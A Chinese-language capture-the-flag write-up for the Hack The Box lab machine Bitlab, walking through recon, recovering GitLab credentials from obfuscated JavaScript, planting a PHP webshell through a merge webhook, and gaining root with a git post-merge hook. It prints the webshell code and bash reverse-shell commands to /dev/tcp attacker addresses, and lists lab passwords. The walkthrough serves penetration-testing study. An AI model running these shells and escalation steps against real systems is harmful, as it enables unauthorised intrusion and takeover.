【HTB系列】靶機Bitlab的***測試

 

本文做者:是大方子(Ms08067實驗室核心成員)javascript

0x00 本文目錄

  • 反思與總結
  • 基本信息
  • ***測試過程
  • 補充

0x01 反思與總結

  1. curl 發送GET參數化請求
  2. 對反彈回來的shell進行設置完善
  3. 使用git hooks來進行提權

0x02 基本信息

靶機IP地址:10.10.10.114
Kali IP地址:10.10.14.13php

0x03 ***測試過程

端口探測

root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114

Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST

Nmap scan report for 10.10.10.114

Host is up (0.24s latency).

Not shown: 998 filtered ports

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh‐hostkey: 

|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)

|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)

|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)

80/tcp open  http    nginx

| http‐robots.txt: 55 disallowed entries (15 shown)

| / /autocomplete/users /search /api /admin /profile 

| /dashboard /projects/new /groups/new /groups/*/edit /users /help 

|_/s/ /snippets/new /snippets/*/edit

| http‐title: Sign in \xC2\xB7 GitLab

|_Requested resource was http://10.10.10.114/users/sign_in

|_http‐trane‐info: Problem with XML parsing of /evox/about

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at

https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds

目標靶機開放了80 和 22端口html

目錄探測

咱們先從80下手,查看下網頁內容java

先使用gobuster進行掃描python

gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster

參數介紹:

dir: 表示掃描目錄的模式
-w: 使用的字典
-t: 線程數量
-s: 只顯示響應碼爲200,204,301,307,401,403的路徑,由於咱們訪問網頁的時候有些位置是不容許咱們訪問會被302跳轉到登陸界面

對出現的結果逐一查看,發現除了help外其餘的網頁都沒什麼可用信息linux

漏洞發現

打開help下的bookmarks.htmlnginx

對這幾個超連接逐一查看,發現前面4個鏈接都只是分別指向hackthebox,Docker,PHP,Node.js的官網並無什麼信息
點擊 【Gitlab Login】 時,發現沒反應,可是出現了javascript代碼。git

咱們打開源碼進行查看web

把javascript代碼複製出來放到https://beautifier.io/進行美化並把裏面的HTML實體去除,獲得下面的結果sql

javascript: (function() {
    var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];

    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];

})()

把_0x4b18裏面的內容翻譯下(十六進制轉字符)

var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password","11des0081x"];

那麼下面2行代碼

document[getElementById](user_login)[value] = clave;

document[getElementById](user_password)[value] = 11des0081x;

感受是帳號密碼的感受,咱們在登陸界面使用console進行嘗試

帳號密碼直接出現併成功登陸
登陸後有2個庫

在deployer中發現index.php,像是一個掛鉤文件,當Profile存儲庫合併了一個新的提交時就會執行命令

切換到 profile目錄 , 而且執行sudo git pull

<?php

$input = file_get_contents("php://input");

$payload  = json_decode($input);

$repo = $payload‐>project‐>name ?? '';

$event = $payload‐>event_type ?? '';

$state = $payload‐>object_attributes‐>state ?? '';

$branch = $payload‐>object_attributes‐>target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged')
{

    echo shell_exec('cd ../profile/; sudo git pull'),"\n";

}

echo "OK\n";

那麼咱們只要寫入一個webshell併合併到profile庫中,那麼這個index.php就會把咱們的webshell給pull下來
咱們建立一個分支

切換到這個分支,而後在這個分支上建立一個webshell

寫入一個webshell,並提交

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";

        $cmd = ($_REQUEST['cmd']);

        system($cmd);

        echo "</pre>";
        
        die;

}

?>

建立合併請求

而後就能夠看到咱們的webshell就成功合併如mstaer庫

此時應該會被以前的掛鉤文件pull到本地,咱們嘗試訪問看看

http://10.10.10.114/profile/dfz.php?cmd=whoami

也能夠經過curl來進行命令執行

curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode 'cmd=whoami'
-G:表示發送GET請求
--data--urlencode:對數據進行URL編碼

這樣咱們就拿到了webshell

反彈shell

接下來就是反彈shell
kali先nc先監聽端口

而後用curl反彈,這裏須要注意的是,反彈shell的指令前面還須要用到bash -c

curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode "cmd=bash ‐c 'bash ‐i >&/dev/tcp/10.10.14.13/9001 0>&1'"

反彈回來的shell,會出現字符錯誤,沒法編輯vim等問題
輸入下面的指令對反彈回來的shell進行設置,讓後面咱們能夠正常使用

python ‐c "import pty;pty.spawn('/bin/bash')"

ctrl + z (後臺掛起shell)

stty raw ‐echo

fg + 多個回車
   
stty rows 34 cols 136

export TERM=xterm

這樣咱們反彈回來的shell就能夠像咱們日常用的那個shell同樣了

權限提高

進入以後咱們看下sudo -l 有沒有能突破的點

這裏咱們能夠看到 www-data用戶能夠不須要密碼
以root的權限調用git pull 命令
這裏咱們能夠用git的hook文件來進行提權
在.git/hooks文件中有一些模板,咱們能夠對照進行編寫

由於sudo運行www-data用戶運行git pull文件
那麼咱們找下運行這個命令的時候會觸發哪一個hook文件
能夠經過下面命令查看

man githooks
``



能夠看到在執行git pull時,會觸發post-merge這個文件
可是在hook文件裏面沒有這個文件,我須要手動建立
可是這個文件夾咱們沒有寫的權限





那麼咱們把這個文件給從新拷貝一份出來



而後在 /tmp/dfz/profile/.git/hooks/中建立一個 post-merge文件 ,並賦予執行權限
!/bin/bash

bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'

那麼咱們接下來作的就是要觸發git pull,在這以前咱們須要在倉庫裏面添加一個新的文件,這樣git pull纔能有效果,不然就有以下的提示


咱們能夠直接添加一個文件併合並




kali進行監聽,而後再進行sudo git pull
而後就獲得root權限

##0x04 補充
還有另外一種方法get flag
咱們在進入到profile倉庫後能夠看到一個TODO



而後咱們在

http://10.10.10.114/users/clave/snippets

裏面找到postgresql的代碼片斷



能夠看到這段代碼在查詢數據,咱們能夠看下它查詢的是什麼數據

array(1) {

[0]=>

array(3) {

["id"]=>

string(1) "1"

["username"]=>

string(5) "clave"

["password"]=>

string(22) "c3NoLXN0cjBuZy1wQHNz=="

}

}

咱們嘗試登陸到clave



成功!
同時咱們在clave的家目錄下看到一個exe


咱們經過scp下載回來

scp clave@10.10.10.114:RemoteConnection.exe .

使用OD進行調試也能夠看到root的帳號密碼

Qf7]8YSV.wDNF*[7d?j&eD4^

&emsp;
&emsp;
&emsp;

相關文章
相關標籤/搜索